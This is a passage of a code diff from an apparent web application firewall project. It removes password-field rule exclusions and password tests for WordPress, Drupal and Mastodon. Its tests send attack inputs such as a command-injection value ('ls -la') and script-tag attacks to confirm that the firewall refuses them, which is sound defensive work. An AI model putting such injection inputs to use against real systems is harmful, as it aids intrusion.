|
||||||
return strings.Join(fields, "&")
|
|
||||||
}
|
|
||||||
|
|
||||||
// setsOffARule reports whether body, form data sent to / as a browser
|
|
||||||
// sends it, sets off a rule in crs.
|
|
||||||
func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
|
|
||||||
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
|
|
||||||
"http://git.example/", strings.NewReader(body))
|
|
||||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
|
||||||
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
|
|
||||||
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
|
||||||
"Gecko/20100101 Firefox/131.0")
|
|
||||||
req.Header.Set("Accept", "text/html")
|
|
||||||
|
|
||||||
// The body is read from memory, which cannot fail.
|
|
||||||
result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
|
||||||
|
|
||||||
return len(result.RuleIDs) > 0
|
|
||||||
}
|
|
||||||
|
|
||||||
// findMisfiringPasswords returns those of randomPasswords that set off a
|
|
||||||
// rule in the form data field password on /, which no exclusion names, while
|
|
||||||
// bodies are read. It runs once, for every test that asks. Each body sends
|
|
||||||
// ten passwords, and a body that sets off a rule is sent again one password
|
|
||||||
// at a time.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // the tests share it
|
|
||||||
var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
|
||||||
const workers, perBody = 16, 10
|
|
||||||
|
|
||||||
crs, err := loaderFor(coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
||||||
})()
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
passwords := randomPasswords()
|
|
||||||
misfires := make([]bool, len(passwords))
|
|
||||||
|
|
||||||
var inspecting sync.WaitGroup
|
|
||||||
|
|
||||||
for worker := range workers {
|
|
||||||
inspecting.Go(func() {
|
|
||||||
for first := worker * perBody; first < len(passwords); first += workers * perBody {
|
|
||||||
last := min(first+perBody, len(passwords))
|
|
||||||
if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
for i := first; i < last; i++ {
|
|
||||||
misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
inspecting.Wait()
|
|
||||||
|
|
||||||
var misfiring []string
|
|
||||||
|
|
||||||
for i, password := range passwords {
|
|
||||||
if misfires[i] {
|
|
||||||
misfiring = append(misfiring, password)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return misfiring, nil
|
|
||||||
})
|
|
||||||
|
|
||||||
// misfiringPasswords returns those of randomPasswords that set off a rule in
|
|
||||||
// a field no exclusion names. The rules that misfire on a password read its
|
|
||||||
// value, not the name of its field. So the other random passwords set off no
|
|
||||||
// rule in any field.
|
|
||||||
func misfiringPasswords(t *testing.T) []string {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
misfiring, err := findMisfiringPasswords()
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("load the Core Rule Set: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, rare := range rarePasswords {
|
|
||||||
if !slices.Contains(misfiring, rare) {
|
|
||||||
t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return misfiring
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
|
|
||||||
// field name of r's body, is refused while bodies are read. r's Content-Type
|
|
||||||
// is form data or JSON. Only the passwords misfiringPasswords returns set off
|
|
||||||
// a rule in some field, so only they are sent, all in one body. If it is
|
|
||||||
// refused, each is sent again on its own, to name those refused.
|
|
||||||
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
misfiring := misfiringPasswords(t)
|
|
||||||
|
|
||||||
body := passwordBody(t, r, name, misfiring...)
|
|
||||||
if len(body) > bodyLimit {
|
|
||||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
|
||||||
}
|
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, password := range misfiring {
|
|
||||||
body := passwordBody(t, r, name, password)
|
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
|
|
||||||
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
|
|
||||||
password, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantPasswordAttacksRefused checks that each of attacks, sent as the whole
|
|
||||||
// password in the field name of r's body, is refused while bodies are read.
|
|
||||||
func wantPasswordAttacksRefused(
|
|
||||||
t *testing.T, r request, name string, attacks ...string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
for _, attack := range attacks {
|
|
||||||
body := passwordBody(t, r, name, attack)
|
|
||||||
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
|
|
||||||
t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
|
|
||||||
attack, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||||
// requests in the file name in testdata is refused, at the defaults and
|
// requests in the file name in testdata is refused, at the defaults and
|
||||||
// while bodies are read. A request with neither a body nor a Content-Type
|
// while bodies are read. A request with no body is checked only at the
|
||||||
// header is checked only at the defaults: with neither, the set that reads
|
// defaults: reading bodies changes nothing for it. Each request runs as its
|
||||||
// bodies has nothing more to check. Each request runs as its own parallel
|
// own parallel subtest.
|
||||||
// subtest.
|
|
||||||
func wantRecordedRequestsPass(t *testing.T, name string) {
|
func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -888,12 +641,7 @@ func wantRecordedRequestsPass(t *testing.T, name string) {
|
|||||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
||||||
}
|
}
|
||||||
|
|
||||||
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
|
if recorded.Body == "" {
|
||||||
name, _, _ := strings.Cut(header, ":")
|
|
||||||
|
|
||||||
return strings.EqualFold(name, "Content-Type")
|
|
||||||
})
|
|
||||||
if recorded.Body == "" && !typed {
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1588,17 +1336,6 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
|
|||||||
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
|
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestWordPressPasswordsPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
signIn := request{http.MethodPost, wpLogin, []string{formData}}
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, signIn, "pwd")
|
|
||||||
|
|
||||||
// No rule pwd keeps catches the SQL injection or the path traversal.
|
|
||||||
wantPasswordAttacksRefused(t, signIn, "pwd", scriptTag)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -184,46 +184,6 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
|
||||||
|
|
||||||
# The password, pass, skips each rule that random passwords set off.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
|
||||||
"id:900819,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
|
|
||||||
|
|
||||||
# A person's name and email address, when signing up, when editing an
|
# A person's name and email address, when signing up, when editing an
|
||||||
# account and when commenting without an account. A name of python3 refused
|
# account and when commenting without an account. A name of python3 refused
|
||||||
# signing up, and python3@example.com refused saving an account. An address
|
# signing up, and python3@example.com refused saving an account. An address
|
||||||
|
|||||||
@@ -109,6 +109,7 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
||||||
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
||||||
{reply, drupalName + attack},
|
{reply, drupalName + attack},
|
||||||
|
{drupalSignIn, "pass=" + attack},
|
||||||
{drupalSignIn, drupalName + attack},
|
{drupalSignIn, drupalName + attack},
|
||||||
{"/fr/user/login", drupalName + attack},
|
{"/fr/user/login", drupalName + attack},
|
||||||
{"/user/register", drupalName + attack},
|
{"/user/register", drupalName + attack},
|
||||||
@@ -171,25 +172,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDrupalPasswordPasses(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, r := range []request{
|
|
||||||
{http.MethodPost, drupalSignIn, []string{formData}},
|
|
||||||
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
|
|
||||||
} {
|
|
||||||
t.Run(r.target, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, "pass")
|
|
||||||
|
|
||||||
// No rule pass keeps catches the SQL injection or the path
|
|
||||||
// traversal.
|
|
||||||
wantPasswordAttacksRefused(t, r, "pass", scriptTag)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -176,85 +176,6 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
|
||||||
|
|
||||||
# The passwords named above skip each rule that random passwords set off.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete)|auth)(?:/|$)" \
|
|
||||||
"id:900965,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/"
|
|
||||||
|
|
||||||
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
|
||||||
"id:900966,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
|
|
||||||
|
|
||||||
# The web app's reports have the JSON keys forward and forward_to_domains. A
|
# The web app's reports have the JSON keys forward and forward_to_domains. A
|
||||||
# report forwarded to another server lists that server in forward_to_domains.
|
# report forwarded to another server lists that server in forward_to_domains.
|
||||||
# Their names contain .forward, a file in a home folder, so 930120 refused every
|
# Their names contain .forward, a file in a home folder, so 930120 refused every
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
"slices"
|
"slices"
|
||||||
"strings"
|
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
@@ -130,6 +129,10 @@ var mastodonFormFields = []mastodonBodyField{
|
|||||||
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
||||||
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
||||||
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
||||||
|
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
||||||
|
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||||
|
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||||
|
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||||
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
||||||
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
||||||
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
||||||
@@ -142,33 +145,14 @@ var mastodonFormFields = []mastodonBodyField{
|
|||||||
{http.MethodPost, mastodonRoles, "user_role[name]="},
|
{http.MethodPost, mastodonRoles, "user_role[name]="},
|
||||||
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
|
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
|
||||||
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
|
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
|
||||||
{http.MethodPost, mastodonSignUp, "reason="},
|
|
||||||
}
|
|
||||||
|
|
||||||
// mastodonPasswordForms sends each password field in a form data body, on
|
|
||||||
// a path where it skips the four rules and the rules that random passwords
|
|
||||||
// set off.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var mastodonPasswordForms = []mastodonBodyField{
|
|
||||||
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
|
||||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
|
||||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
|
||||||
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
||||||
{
|
{
|
||||||
http.MethodPost, "/settings/migration/redirect",
|
http.MethodPost, "/settings/migration/redirect",
|
||||||
"form_redirect[current_password]=",
|
"form_redirect[current_password]=",
|
||||||
},
|
},
|
||||||
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
